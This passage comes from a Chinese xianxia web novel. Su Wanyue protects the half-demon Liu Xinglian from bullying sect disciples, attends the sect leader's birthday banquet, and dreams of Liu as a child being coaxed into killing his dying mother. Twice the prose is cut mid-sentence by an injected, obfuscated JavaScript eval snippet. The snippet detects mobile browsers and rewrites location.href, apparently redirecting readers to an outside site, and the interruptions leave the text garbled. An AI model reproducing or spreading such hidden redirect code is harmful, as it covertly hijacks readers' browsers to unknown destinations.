要说在修仙一途顺风顺水也就罢了,这人偏偏还生得一副好颜色,待人又温和有礼,一派君子之风。将众多女修迷得七荤八素,奉他为梦中情郎。 茯阳十几岁便出山门历练,手拿一柄雕阳弓,途经东林、西境、北地,杀了不知多少作乱的妖魔,在民间留下不少美谈,世人称其为“玉面雕弓”。 这样的人怎么可能不受人欢迎?当时为了摘下这朵高岭之花,许多女修想尽了法子,花样百出,闹了不少笑话。 然而令所有人都没想到的是,茯阳一次游历回来,竟然受了重伤昏迷不醒,神机宫宫主之女徐妤慈衣不解带地照顾了他半年,才让他渐渐好起来,自此以后两人便结为了道侣。这两人郎才女貌,地位相当,再没有比他们更般配的神仙眷侣了。眼见着茯阳名草有主,众女修这才安分了下来。 不过苏挽月前世和这位并没有太多的交集,只是在浮光殿被人欺辱之时受过他些恩惠。 她想起当时于绝望之中,茯阳伸出的援手,不由轻轻笑出了声,说道:“君不君子的不一定,但他一定是个好人。” 毕竟,对一个小小的杂役,也肯费心帮忙,怎么想也不会是个坏人吧。 沈灵咯咯笑了起来,凑到她跟前问:“你如何知道?难道你见过这位茯阳道友?” 苏挽月露出一副笃定的神色,道:“我没见过,但我听说过啊,若是坏人,怎么可能得到那么多人的赞誉,毕竟是毓秀榜第一呢。” 沈灵见她一双眼睛水灵灵的,模样可爱,揪了她脸颊的软肉,笑道:“行行行,谁让咱们苏师妹生得这般好看,你长得漂亮你说了算!” 苏挽月的脸在她手下就像个面团,被她揉来捏去,揪得一阵通红,苏挽月忍了又忍,还是没忍住回揪了过去,两人一时闹做一团。 15. 寿宴 近来,神机宫上上下下都在为宫主徐念山的寿宴忙碌着,就连沈灵都被抓了壮丁,唯有苏挽月因为受了伤,一直在屋里养着。 她闲不住,又担心柳星怜在神机宫的处境,便想着去看看他。于是天光一亮,她便顶着两个硕大的黑眼圈去了左秦鹤所在的院子,柳星怜如今暂时和他住在一处。 甫一进去,便见两个弟子站在门口向她躬身行礼,口中唤道:“苏师姐。” 苏挽月朝他们点点头,问道:“柳星怜在吗?” 她这话一问出来,两个小弟子面色便是一变。嘴巴嗫嚅了半天,也没吐出一个字来。 苏挽月察觉到不对,冷下脸又问了一遍,“柳星怜在哪里?” 其中一个弟子面露犹豫之色,吞吞吐吐道:“他……他去了清灵峰紫竹林。” 苏挽月冷着脸点点头,二话没说就朝清灵峰的方向而去。神机宫作为四大仙门之一,占据的地界自然不小,虽然以正仪峰为主峰,但还分为了清灵峰、玉洋峰、昭云峰、仙露峰等四个次峰。 其中,又以清灵峰景色最好,山中的紫竹林、无垢泉、火炎洞等都很适合弟子们修行。 苏挽月一路朝着紫竹林而去,心中总有些不好的预感。她知道柳星怜是半妖之体,这个身份总会让人不自觉地忌惮他、怀疑他甚至是厌恶他。但她到底有些侥幸之心,以为入了宗门怎么也比妖巢强。 等她赶到时,远远就看见两个身着青衣的修士正围着一名白衣少年。 其中一人趾高气扬道:“敢不敢比试一场?你若输了就跪下叫我们三声爷爷!” 另一人嗤笑道:“区区一个记名弟子,让你干点杂活怎么了?还真把自己当内门弟子了?”他上下打量着少年,语带讥讽,“也不看看自己什么身份,半人半妖的怪物。” 听着这般侮辱的话语,常人恐怕早就气愤不已,然而柳星怜却只是浅浅一笑,反问道:“那若是你们输了呢?” “我们怎么可能会输?”青衣修士嚣张地扬起下巴,“就算输了,你又能拿我们怎么样?” 柳星怜轻抚腰间的红阎,笑意更深:“我最喜欢与人比试了。不如这样,若我赢了,你们各留下一只右臂如何?” 对剑修而言,失去右臂无异于断送前程。听到这话,两人脸色骤变,当即拔剑相向。剑锋直指面门之际,柳星怜终于抬起右手,缓缓握住了红阎的剑柄。 就在红阎即将出鞘的刹那,一道凌厉的红光破空而来,挡下了两人的攻势。 “是谁?!”被阻的两人怒喝出声。 苏挽月阴沉着脸从竹林间走出:“是我。” “苏、苏师姐...” 看清来的人是苏挽月,两人顿时僵在原地,慌忙行礼。 “我可担不起这声师姐。”苏挽月冷笑,“神机宫严禁弟子私斗,你们不知道?以二对一,真是好大的威风!你们这是要欺负新入门的师弟?” 她语气很不客气,摆明了要为柳星怜做主,其中一名弟子见此,不甘道:“他算什么师弟?不过是一个……” “住口!”苏挽月厉声打断他的话,道:“他既已记在清辉师叔的门下,就是你们的同门。残害同门,神机宫断断容不下这样的弟子!” 话中之意便是要将他们逐出宗门了,两人这才慌了神,苏挽月身为混陵道君爱女,要处置他们两个无依无靠的记名弟子简直是易如反掌。 “苏师姐!求苏师姐开恩,我们以后不会再犯了!师姐就饶过我们这一次吧,不要赶我们出宗啊……”两人连连告饶。 苏挽月却不再理会,拽着柳星怜转身就走。 竹影婆娑间,两人并肩行了一段。直到柳星怜停下脚步,苏挽月才惊觉自己一直握着他的手腕。她像被烫到般急忙松手,耳尖泛起薄红。 “你……没受伤吧?”她声音有些发紧,“他们一直这样欺负你?为何不告诉我?” 柳星怜看着她,微微往后退了一步,靠在一根紫竹上,状似疑惑道:“你为何要这般关心我?我与你非亲非故,可你不仅把我带入仙门,还这般惦念我,实在叫我很是好奇。” 柳星怜出生妖巢,虽颇为机敏,却到底不通人情世故,是以也不知道自己这番话对姑娘家说实在多有不妥,让不知道的人听了,还以为他在调戏别人。 苏挽月被噎了一瞬,面上也微微发烫,但对上柳星怜澄澈的双眸,又释怀了。她无奈道:“有时候对一个人好,并没有那般多的原因,可能就是投缘而已。若看得顺眼,即便萍水相逢,也会伸出援手,若相看两厌,就算认识多年,也只会当成陌路。” 柳星怜若有所思,“你的意思是,你想跟我做朋友?” 苏挽月点点头,有些欣慰,“正是如此。” 柳星怜轻轻笑了一声,声音变得有些飘忽起来,“可是,所有对我好过的人,都死了。” 这晨间的风很凉,吹得竹叶沙沙作响,有露珠顺着叶尖滴在苏挽月的颈间,让她觉得浑身一凉。 柳星怜很敏锐地察觉到了她的反应,他握着红阎的手一紧,似是随口问了一句,“怎么?你害怕了?如果害怕的话,就离我远一点。你知道这把剑,它第一个杀的人是谁吗?”他扬了扬手中握着的红阎。 苏挽月摇了摇头。 他又是一声轻笑,如玉的脸庞上勾起好看的弧度,“我娘。” 很短的两个字,很平和的语调,说出的内容却令人感觉头皮发麻。 苏挽月站在原地看了他半晌,她清楚地看到,他说这话的时候,面上虽是一片风轻云淡,手却在颤抖。 他在害怕?还是在恐惧?既然有这么大的反应,为什么要再一次撕开自己的伤口,将它血淋淋地展现在他人面前呢?不知为何,苏挽月直觉柳星怜并不是一个真正的恶人,即便听到他亲口承认自己弑父杀母,她也对他讨厌不起来。 苏挽月叹了口气,慢慢道:“如果觉得很难过,可以不用说出来的。我不知道你曾经发生过什么,也不在意,毕竟未身处其中,又如何评判?我只知道,对你而言,那都是过去的事了。” 她从袖中掏出一样东西,递到柳星怜手中,他低头一看,一颗圆形之物静静躺在他的掌心。 竟然一颗做得颇为精巧的糖。 “人总是要学会往前看的,不是吗?”少女的脸上带着盈盈笑意,渐渐化在竹林的清风里,恍恍惚惚竟似能吹进人的心底。 * 神机宫宫主徐念山卡在金丹期这么多年,终于在三百岁寿诞前夕一举突破元婴。神机宫上下皆喜气洋洋,这一次寿宴也办得极为热闹。 正仪峰的中央,是一个可容千人的广场,场中伫立着数十根雕刻着上古神兽的玉柱。看上去一派威严而古朴。 神机宫历来但凡有盛事、大宴,都是在这里举行。 此刻,这硕大的广场上已摆满了数张座席,席上整齐地放置着灵茶灵果,琼浆仙露。一条红绸从头铺到尾,直直通向前方的高座,而那里无疑是宫主徐念山的位置。 穿着白衣兰花纹服饰的侍女们在宴中穿行,手中端着果盘、酒盏,做事不疾不徐,有条不紊。 这样的盛宴苏挽月前世是没有资格参加的,因此落座之后就有些新奇地打量着四周。 坐在她旁边的是沈灵和沈毓,对面则是左秦鹤,再往前能见到一个穿着青衣锦袍的年轻公子,他生得一副好颜色,面容俊秀中带着温柔,额间一点细细的金纹,一举一动都颇具涵养。 苏挽月瞧着他额间的金纹好一会儿,才陡然想起那是浮光殿弟子身份的象征。据闻浮光殿的老祖宗得神鸟凤凰赐下金羽,于是便以金羽作图腾,刻在每个内门弟子的额间。 不过苏挽月前世根本没资格刻这样的金纹,于是一时之间都有些反应不过来。 沈灵见到她目光一直落在前方,凑过来对她小声道:“怎么?看呆了不成?那位可容不得咱们染指,再多看几眼,小心徐师姐找你麻烦。” 她提到徐师姐, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15400060|168614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈灵这才恍然想起,这位就是浮光殿殿主之子,闻名天下的玉面雕弓,茯阳公子了。 苏挽月轻轻笑了两声,顺势移开了目光,但她心中却有些疑惑,按理说,她应当比沈灵等人更熟悉这位茯阳公子,然而她脑中有关于茯阳的所有记忆,唯有他的脸模模糊糊,记不真切。不止是他,应当说,前世见过的所有人,她都记不起脸了,真是奇哉,怪哉。 等到众人落座以后,徐念山才姗姗来迟,比起混陵道君的玉颜乌发,他看起来老了许多。一头青丝中夹杂着丝丝白发,面容冷峻,眸光锐利,即使是自己的寿宴,也不见他露出一丝笑容。 他站在最高处,扬了扬手,高声道:“感谢诸位道友千里迢迢前来参加徐某的寿宴,宴席备得仓促,若有怠慢之处,还望海涵。” 他虽眉宇冷漠,说出的话却有礼,众人皆道不敢。 徐念山又是一阵场面话,这才一抬手,道了句宴会开始。 众人把酒言欢之际,一位红衣女子抱着琴走上前来,她生得一张花容月貌,面颊雪白,红唇娇艳,眉宇间和徐念山有五分相似。 她盈盈下拜,道:“女儿徐妤慈,特抚琴一首,为父亲祝寿。” 原来这就是徐念山之女,那个从万千女修中杀出重围,斩获茯阳公子的徐仙子了。 苏挽月静静打量她片刻,心道:果然是好姿容。 徐念山也将目光落在她身上,虽然还是一张冰块脸,但眸中却显出一丝柔和。他道:“好,好,我也许久没听见慈儿的琴音了。” 徐妤慈微微一笑,素手拨琴,铮地一声,一阵清灵的琴音响彻耳畔,如泣如诉,婉转动听,却又含着抹奇怪的韵律。 苏挽月只觉脑中一片清明,什么烦心事都抛诸脑后了,就连一直找不到方向的炼气八层,都隐隐触到了门槛。 等到琴音终了,她还有些回不过神来,场中已响起一片热烈的夸赞声。 一人道:“我等有福,竟能听到徐仙子再奏清歌,此行当真来对了。” 另一人接口:“是啊,徐仙子已许多年不曾奏乐,竟还是这般清雅动听,果然是清歌出,尘心静。” 苏挽月感叹:原来徐妤慈随手一拨的这曲子叫清歌,有静心明目之效,能助修行,怪不得这般受人欢迎。 沈灵也在旁边夸道:“即使再怎么淡出人世,只要素华琴一出,还是艳惊四座。大师姐果然是大师姐,她是九天仙子,普通凡人怎能比得上?” 苏挽月奇道:“这位徐师姐这么厉害吗?怎么这些年,竟都未曾听说。” 沈灵睨她一眼,“你有所不知,当年,她未与茯阳公子结为道侣之前,也是毓秀榜上赫赫有名的人物。年少成名,一把素华琴,既能斩妖邪,又可破心魔,颇受人追捧。而且大师姐为人温和知礼,从不与人生怨,何人会不喜她呢?可惜……” 她叹了口气,没再说下去。 苏挽月却有些不解,追问道:“可惜什么?” 沈灵却摇了摇头,慢吞吞地道了一句:“情关难过。” 见到沈灵不愿多说,苏挽月也不再追问。那徐妤慈一琴奏毕,就将素华收了起来,朝着茯阳走了过去,在他旁边落了坐。 茯阳见到她来了,虽是面带微笑,一派温和有礼的模样,却总让人觉得有股疏离感,不像是感情甚笃的道侣,倒像是对着陌生人。 在徐妤慈奏琴祝寿以后,徐念山的几个弟子也都上前表演了一番才艺,有的舞剑,有的吹笛。不过有徐妤慈珠玉在前,其他人的才艺就平平无奇了。 这场寿宴,最终在悦耳的笛音中落下了帷幕。 然而几大仙门和世家都来了神机宫,自然不仅是为参加寿宴,寿宴之后还会留下来进行几场比试。这是属于筑基期和金丹期弟子们的角逐,跟苏挽月这样的炼气期弟子没什么关系。 于是她也只去看了个稀奇,得知沈毓得了个好名次,左秦鹤也为神机宫争了光,而茯阳毫不意外地还是第一,就没再理会了。 16. 梦境 许是之前跟柳星怜的那番对话,这天晚上苏挽月竟然破天荒地做了一个梦,一个关于柳星怜的梦。 梦里的夜色也是黑沉沉的,好像在一个暗无天日的洞穴里,她的耳边能听到细微的动静,还能闻到一股血腥腐烂的味道,那味道很熟悉,她琢磨了半天才想起来,是那个噩梦一般的地方,五云山下的妖穴。 想到这儿的时候,一阵火光倏然亮了起来,山壁被一片片照亮,昏黄的光线投下来,地上躺着的人那张煞白的脸顿时显露出来。 那是一个女人,她穿着件脏得看不出颜色的衣裙,紧紧闭着眼睛,就那么一动不动地躺在地上。 然而苏挽月第一眼注意到的却并不是这个女子,而是缩在她旁边的一个瘦小身影。 那是个小孩,看起来约摸三四岁,两颊白嫩嫩的,却不像一般小孩那样胖乎乎,带着股娇憨,而是瘦得有些可怕,因为过于瘦削,一双眼睛也显得格外大。 他就这样缩在角落里,小手扯着女人的衣角,嘴里不停地喃喃着什么。 苏挽月凑过去,离他近了些,这才听清他一遍又一遍喊的是什么,他喊的是“娘”。 女人仿佛听到了他的喊声,她咳了几声,那双紧闭的眼陡然睁开了。 她长得很美,即使身在这样肮脏破败的地方,即使穿着如此寒酸,依然无法掩盖住她的光彩。或许真正的美人就是这样,不需要太过华丽的装饰,只凭天生出众的五官,便可勾勒出一副绝美的画卷。 然而此刻,她那双本该波光潋滟的眸中却带着一抹显而易见的灰败。 苏挽月之前未曾细细观察过她,这一看才发现,她身上竟然遍布着大大小小的伤口,有些伤口甚至都化脓腐烂了。 她有些不忍,想去扶起她,却发现什么也碰不到。 是了,苏挽月陡然醒悟过来,自己这是在做梦啊。 那女子眼珠子转了转,喉中发出一阵沙哑的声音,“星怜。” 这名字一出,苏挽月只觉晴天霹雳,她将地上那脏兮兮的小孩瞧了又瞧,这才依稀在他脸上看出了几分长大后的模样。 小小的柳星怜听到女人唤他的名字,这才慢腾腾挪过去,将头枕在了女子的腿上。 他这动作好似碰到了女子身上的伤口,让她蹙起了好看的眉,然而她却死死忍住没有叫出声。 “星怜,你听娘说。”她好像很想抬手触摸一下小孩的脑袋,手却怎么也抬不起来。她甚至连微微低头都做不到,只能直挺挺地躺在地上,像一具未曾断气的尸体。 “娘,我在听。”小柳星怜趴在她的腿上,嘴唇轻轻动了动,回答她的话。 “好孩子。”女子似乎很欣慰,连眸光都柔和了一些,她用尽此生最温柔的语气,却说出了最残忍的话,“前段日子给你的那把剑还在吧?你将它拿出来。” 小柳星怜愣了一下,却还是将他的宝贝长剑拿了出来。那把剑缩成小小的一团,被他拢在袖中,拿出来时便恢复了原状,剑身带着抹暗红,正是他一直在用的红阎。 女子见到这柄剑,好像更加激动了。她不能动,也做不出表情,眼神却很是炙热。 “星怜,你帮娘一个忙好不好。”她轻声哀求,“用这把剑扎进娘的心口,你那样聪慧,知道怎么做的。” 小柳星怜眼神还是纯真的,带着些懵懂,他似乎有些不明白为什么要这么做,只道:“可是娘,那样的话你会痛,会很痛的。” 他似乎是为了证明自己说的话,手指在剑身上轻轻一划,鲜红的血珠瞬间冒了出来。他疼得小脸一皱,却还是勉强扯出一个笑,将手指凑到女子眼前,说道:“娘,你看,真的很痛。” 鲜红的血滴落在女子脸上,她的声音却更柔和了,像含着一汪水,“乖孩子,不会痛的。你将它插进来,娘就解脱了,你是在帮娘。” 小柳星怜犹豫了,他握着剑迟迟没有动作。 女子见此又哄道:“星怜,娘知道你也想帮我的对不对?娘每日都很痛苦很痛苦,你帮娘解脱好不好,帮帮娘吧!” 她越说声音越大,沙哑的声音在逼仄的洞中响起,就像带着诅咒,“难道你还想让娘为你受苦吗?娘会有如今这个下场,都是因为你,都是因为你啊!没有你的话,我怎么受这样的罪,怎么会这样生不如死?你帮我解脱吧?帮帮我!” 小柳星怜被她吓住了,他蹙起眉瞧了女子好一会儿,终于在她的催促声中举起了剑。他还太小了,两条细细的胳膊费力地将剑举起,手都在轻轻颤抖,那锋利的剑尖对准了女子的胸膛。 女子轻声笑了起来,带着蛊惑的声音一遍又一遍响起,仿佛要将人引进地狱,“对,就是这样,刺进来吧,刺进来吧!” 苏挽月实在看不下去了,她扑过去想阻止那个费力举着剑对准自己母亲的瘦弱小男孩,她想告诉他,别听她的,快放下剑,你这一刺,这辈子都回不了头了!你一辈子都会带着罪孽过活! 然而她却扑了个空。 只能眼睁睁看着小柳星怜带着最纯真的微笑,将剑一点点刺入了女子胸口。 鲜血染了满身,但女子却倏地平静下来,她轻轻叹了口气,看着小柳星怜的目光很是复杂,有疼爱,有愧疚,还有一丝憎恶。 “星怜,对不起。”她说:“娘……是个胆小的人,这辈子做过最大胆的事就是生下了你……” 话音未落,已然气绝。小柳星怜却像是什么也没感觉到,他抽出染血的剑,将它甩到了一边。然后像以往很多次那样,将头轻轻搭在女子的腿上,一双小手也扯住了她的衣角。 他又闭着眼喃喃起来:“娘……不痛了,不痛了……” 苏挽月看着这一幕,只觉得荒诞到了极点,一位母亲哄着自己什么都不懂的孩子亲手杀了自己。当真可笑!可笑! 之前柳星怜对那两颗珠子那么宝贝,还以为他娘对他很好,可如今看来,也不过如此。若是真心疼爱,怎么会让自己的孩子背上这样的恶名?为了自己能解脱,让他一生都在罪孽的沼泽中苟延残喘,不得挣脱也不愿挣脱。 她突然很想醒过来,却怎么也睁不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15452619|168614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开眼,只能看着小柳星怜趴在女子冰冷的尸体上,静静地睡了过去。 不知过了多久,一阵嘈杂之声响了起来。 她见到穿着黑衣的年轻男人迈步走了进来,那个人的脸,她见过。正是年轻了许多的柳承。 他身边跟着两个长耳朵的小妖,那小妖跑过去动作粗鲁地将小柳星怜从女子身上拉了下来,甩在一边。 又伸出手放在了女子的鼻尖,试探了一下她的呼吸,随后脸色就是一白。他低头道:“柳大人,她已经没气了。” 柳承冷冷应了一声,目光落在了摔在一旁的柳星怜身上,厌恶地皱起了眉,嗤道:“果然是个孽种,连自己的娘也下得去手!” 剩下的小妖纷纷露出厌恶至极的神色。 小柳星怜像是没听见他说的话,只低垂着头把玩衣带,一言不发。 柳承见他没反应,顿觉无趣,略一挥手道:“既然没气了,扔出去吧!” 小妖们应了声是,抬起女子的尸身就要走。小柳星怜却突然扑上去,死死抱住了女子,怎么也不松手。 小妖们顿时手足无措,不知该怎么办。 柳承见此,只讽刺地一笑,道:“既然他不放,就带着他一起去看看,处理完了再把他带回来。” 小妖们应了声是。 将女子和她身上的小孩一起抬了出去。苏挽月也不受控制地跟在他们身后。 他们处理尸体的方法很简单,不知是用的什么东西,将尸体化为一滩血雾,撒在山脚下那片乳白色的石块之上,过不了多久血雾就被石头吸收了,连一点血腥气也不会留下。 小柳星怜呆呆地看着自己的娘亲在他眼前化成了一团雾气,他紧紧蹙起了眉,眼中闪过浓重的哀伤。他似乎有点想哭,瘪了半天嘴却一滴泪也流不下来。 于是他只好用手去捡地上的石块,一块又一块,他捡了很多,却没有一个是他娘。 小妖们不耐烦了,揪着他的领子就将他提了回去,石头从他怀里掉了出来,小柳星怜睁着大大的眼睛看着那些碎石,一双小手慢慢捂上了胸口,轻轻道:“好奇怪,明明没有被划到,为什么也痛?” 苏挽月一路跟着他,听到这句话终于忍不住了,她虚虚地将手搭在他脑袋上,揉了几下,“傻孩子,这不是痛,这是伤心,你很伤心,很难过。” 小柳星怜的眼神是纯真的,眼中能倒映出蓝天白云,或许从他出生起就从未有人教过他,什么是是非,什么是对错,什么又是痛苦,是悲伤。 苏挽月看着他小小的身影一点点远去,她还想跟上去,却怎么也迈不动脚步。 一阵陌生的眩晕感传来,她乍然睁眼,眼前已经不是那充满罪恶的五云山,而是熟悉的宫殿。 她摸了摸额头,摸到一脑门儿的冷汗。 昨夜的梦当真是诡异,似梦又不似梦,那场景实在过于真实了,真实到她忍不住怀疑。她静了静心,低声喊道:“系统,系统。” 一连唤了几声都没有反应,看来跟系统没关系。那到底为什么呢?